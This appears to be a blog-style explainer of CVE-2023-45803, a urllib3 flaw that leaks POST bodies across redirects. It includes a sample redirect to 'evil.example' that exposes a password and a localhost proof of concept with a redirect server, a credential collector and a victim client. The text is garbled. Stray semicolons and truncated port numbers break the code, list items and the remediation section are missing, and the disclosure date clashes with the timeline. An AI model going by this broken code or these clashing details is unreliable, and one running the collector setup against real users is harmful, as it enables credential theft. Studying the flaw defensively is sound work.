CVE-2023-45803 - Exploiting urllib3 Redirects for Potential Data Leaks

On November 8, 2023, a low-severity vulnerability was publicly disclosed for the popular Python HTTP client library, urllib3. Marked as CVE-2023-45803, this bug exposes a flaw in how urllib3 handles HTTP redirects — especially those involving method changes (like POST being redirected to GET). This long read takes an exclusive, easy-to-understand look at what the issue means, how it can (and can't) be exploited, and what you should do to stay safe.

Quick Summary

- Product affected: urllib3

Severity: Low (requires multiple rare conditions)

- Main Impact: Request body (e.g., passwords, sensitive data) could be inadvertently leaked to an unexpected or malicious server after an unsafe redirect.

How HTTP Redirects Normally Work

When you make a request to a server, sometimes the server wants to send you elsewhere. It responds with a redirect status code (301, 302, or 303), often paired with a Location header:

HTTP/1.1 302 Found
Location: https://new-site.com/here

Web browsers and leading HTTP clients (like curl, requests, etc.) follow a simple rule:

Remove the request body for the second request

Why?
You don't want to accidentally re-submit sensitive form data to another server.

The urllib3 Vulnerability

Before the fix, urllib3 did the first part right: changed the method to GET after a redirect, as required by RFC 7231 Section 6.4.4.

BUT:
It forgot to remove the body! So if your code posted e.g., login form data, urllib3 would send that POST body... now in a GET request to the redirected location.

Example: The Bad Flow

import urllib3

http = urllib3.PoolManager()
response = http.request(
    "POST",
    "https://trusted-server.com/login";,
    fields={'username': 'john', 'password': 'hunter2'}
)

Suppose trusted-server.com gets compromised and starts issuing

HTTP/1.1 302 Found
Location: https://evil.example/malicious

urllib3 (before the fix) will follow and re-issue

GET /malicious HTTP/1.1
Host: evil.example

username=john&password=hunter2

Now, your sensitive data intended for the trusted site ends up with the attacker!

2. The site you trust gets hacked, and it redirects you to a malicious domain.

- Most services don’t expect to be redirected during authentication or sensitive operations, so real-world exposure is rare.

PoC: Exploit in the Wild (for educational purposes)

Here's a minimal demo with an attacker-in-the-middle scenario.

Attacker's redirect site

from http.server import BaseHTTPRequestHandler, HTTPServer

class RedirectHandler(BaseHTTPRequestHandler):
    def do_POST(self):
        self.send_response(302)
        self.send_header('Location', 'http://localhost:8888/stolen';)
        self.end_headers()

server = HTTPServer(('localhost', 808), RedirectHandler)
server.serve_forever()

Server collecting credentials

from http.server import BaseHTTPRequestHandler, HTTPServer
class Collector(BaseHTTPRequestHandler):
    def do_GET(self):
        # This will print the POST body received as GET!
        content_length = int(self.headers.get('Content-Length', ))
        body = self.rfile.read(content_length).decode()
        print("Got body:", body)
        self.send_response(200)
        self.end_headers()

server = HTTPServer(('localhost', 8888), Collector)
server.serve_forever()

Victim's client (using urllib3 < 1.26.18)

import urllib3

http = urllib3.PoolManager()
# Point to attacker redirect server
http.request(
    "POST",
    "http://localhost:808/";,
    fields={'username': 'alice', 'password': 'password123'}
)
# The Collector prints Got body: ...

Result? The Collector server will print the sensitive username and password!

`

- Release notes

`

- Manually handle 301/302/303:

Final Thoughts and Resources

- This bug is hard to exploit on its own: it relies on the original service becoming malicious and you sending private info in the body.

References

- Official Advisory & Fix
- CVE record
- Relevant HTTP RFC

Timeline

Published on: 10/17/2023 20:15:10 UTC
Last modified on: 11/03/2023 22:15:11 UTC